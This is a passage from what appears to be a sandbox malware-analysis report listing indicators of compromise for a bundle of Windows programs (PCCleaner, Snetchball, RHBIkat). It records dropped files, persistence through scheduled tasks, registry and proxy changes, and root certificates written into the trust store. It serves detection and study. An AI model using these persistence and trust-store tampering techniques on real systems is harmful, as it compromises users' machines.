(x86)\Syney\PCCleaner\lang\de-DE\is-9LT4V.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\hu-HU\is-CVG7V.tmp is-UM0VH.tmp File opened for modification C:\Program Files (x86)\HDNGURU LLF Tool\LLFTOOL.url is-3PQJM.tmp File created C:\Program Files (x86)\ceNumber LLFTOOL.exe File opened for modification C:\Program Files (x86)\Proxy2Service\p2pminimal.log client.exe File created C:\Program Files (x86)\PES Disk Master\is-7G20I.tmp is-1FTFD.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\is-7AO2H.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\is-SB4LH.tmp is-UM0VH.tmp -
Drops file in Windows directory 4 IoCs
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exedescription ioc process File created C:\Windows\Tasks\bFZpgwNlQHGZXuKxuE.job schtasks.exe File created C:\Windows\Tasks\ZgxYrmkCaIygifaWS.job schtasks.exe File created C:\Windows\Tasks\izXVUyiFnrCcvNJ.job schtasks.exe File created C:\Windows\Tasks\cixcSTkjmjQQwhCFD.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 64 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 2604 952 WerFault.exe PCCleaner.exe 4452 952 WerFault.exe PCCleaner.exe 4696 952 WerFault.exe PCCleaner.exe 2576 952 WerFault.exe PCCleaner.exe 3624 2284 WerFault.exe PCCleaner.exe 2680 2284 WerFault.exe PCCleaner.exe 4184 2284 WerFault.exe PCCleaner.exe 3656 2284 WerFault.exe PCCleaner.exe 1568 2284 WerFault.exe PCCleaner.exe 4680 2284 WerFault.exe PCCleaner.exe 4212 2284 WerFault.exe PCCleaner.exe 3596 2284 WerFault.exe PCCleaner.exe 3240 2284 WerFault.exe PCCleaner.exe 1056 2284 WerFault.exe PCCleaner.exe 3776 2284 WerFault.exe PCCleaner.exe 4644 2284 WerFault.exe PCCleaner.exe 4804 2284 WerFault.exe PCCleaner.exe 4000 2284 WerFault.exe PCCleaner.exe 2604 2284 WerFault.exe PCCleaner.exe 4548 2284 WerFault.exe PCCleaner.exe 3036 2284 WerFault.exe PCCleaner.exe 3228 2284 WerFault.exe PCCleaner.exe 1092 2284 WerFault.exe PCCleaner.exe 2356 2284 WerFault.exe PCCleaner.exe 1676 2284 WerFault.exe PCCleaner.exe 5036 2284 WerFault.exe PCCleaner.exe 4124 2284 WerFault.exe PCCleaner.exe 2384 2284 WerFault.exe PCCleaner.exe 3668 2284 WerFault.exe PCCleaner.exe 4892 2284 WerFault.exe PCCleaner.exe 4364 2284 WerFault.exe PCCleaner.exe 4972 2284 WerFault.exe PCCleaner.exe 1680 2284 WerFault.exe PCCleaner.exe 216 2284 WerFault.exe PCCleaner.exe 3340 2284 WerFault.exe PCCleaner.exe 3020 2284 WerFault.exe PCCleaner.exe 3532 2284 WerFault.exe PCCleaner.exe 392 2284 WerFault.exe PCCleaner.exe 3656 2284 WerFault.exe PCCleaner.exe 2024 2284 WerFault.exe PCCleaner.exe 3080 2284 WerFault.exe PCCleaner.exe 1756 2284 WerFault.exe PCCleaner.exe 3456 2284 WerFault.exe PCCleaner.exe 1812 2284 WerFault.exe PCCleaner.exe 3040 2284 WerFault.exe PCCleaner.exe 2104 2284 WerFault.exe PCCleaner.exe 1440 2284 WerFault.exe PCCleaner.exe 4052 2284 WerFault.exe PCCleaner.exe 1812 2284 WerFault.exe PCCleaner.exe 4580 2284 WerFault.exe PCCleaner.exe 2960 2284 WerFault.exe PCCleaner.exe 2076 2284 WerFault.exe PCCleaner.exe 5000 2284 WerFault.exe PCCleaner.exe 1808 2284 WerFault.exe PCCleaner.exe 3924 2284 WerFault.exe PCCleaner.exe 4548 2284 WerFault.exe PCCleaner.exe 1972 2284 WerFault.exe PCCleaner.exe 4004 2284 WerFault.exe PCCleaner.exe 1468 2284 WerFault.exe PCCleaner.exe 5044 2284 WerFault.exe PCCleaner.exe 3468 2284 WerFault.exe PCCleaner.exe 5000 2284 WerFault.exe PCCleaner.exe 1808 2284 WerFault.exe PCCleaner.exe 3924 2284 WerFault.exe PCCleaner.exe -
Creates scheduled task(s) 1 TTPs 11 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 2160 schtasks.exe 4392 schtasks.exe 624 schtasks.exe 456 schtasks.exe 372 schtasks.exe 5008 schtasks.exe 3752 schtasks.exe 4712 schtasks.exe 4624 schtasks.exe 1420 schtasks.exe 3764 schtasks.exe -
Enumerates system info in registry 2 TTPs 7 IoCs
Processes:
Install.exerundll32.exemsedge.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 4972 taskkill.exe -
Modifies Control Panel 20 IoCs
Processes:
Snetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_arrow.cur" Snetchball.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exeRHBIkat.exerundll32.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{2339e045-0000-0000-0000-d01200000000}\NukeOnDelete = "0" RHBIkat.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" RHBIkat.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" RHBIkat.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ RHBIkat.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "1" RHBIkat.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" RHBIkat.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{2339e045-0000-0000-0000-d01200000000} RHBIkat.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe -
Modifies registry class 21 IoCs
Processes:
Snetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exemsedge.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exedescription ioc process Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{9D4FB527-CB94-4EB2-83CB-714AF53391A0} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{5C62FC1C-37B4-443B-8FD6-CC7AF61DC567} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{F9059B07-6DFF-4B55-897C-40264E2427E0} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{E4A8CC82-E40C-4379-90F2-48F4A606B3C9} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{A30DDF8F-20FF-46BC-836D-B521FB58771E} Snetchball.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ msedge.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{D0A88E39-7B9B-45B2-8E2E-83DB982371F2} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{F9907A93-D9A5-4685-82AA-E711ACBDBE15} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{F09C59A2-E906-4FF1-93CE-536E34A92795} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{D654E189-99D0-47FE-B862-6B992F985E6E} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{718C9BCE-B799-4B2C-A7A9-8F4373D11E86} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{C376B9A1-29FD-43BA-AE8A-D638662F533F} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{171F72CC-E03E-4BD2-9E0C-55C1EF566A28} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{CA432168-0DC5-4CE4-A660-9B417B7A00F1} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{22C93BC3-5ECF-40F7-85B7-D50DF8457ACD} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{CB17EF90-38BB-429D-81DD-483026EF4518} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{36843ED7-54F4-428E-B409-E24C98DB8D9A} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{BAC0F570-AE2A-471C-B359-C3DECCF31207} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{873D5278-14F4-42DA-A911-31EA0BCE00F7} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{EA9C664C-FFB9-49D5-93DF-AF8DA465A595} Snetchball.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{38C90E63-1F46-4201-9812-419A65A3DF46} Snetchball.exe -
Processes:
Snetchball.exeSnetchball.exeSnetchball.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Snetchball.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 190000000100000010000000ea6089055218053dd01e37e1d806eedf0300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e0b00000001000000100000005300650063007400690067006f0000001d0000000100000010000000885010358d29a38f059b028559c95f901400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd253000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd9796254832000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297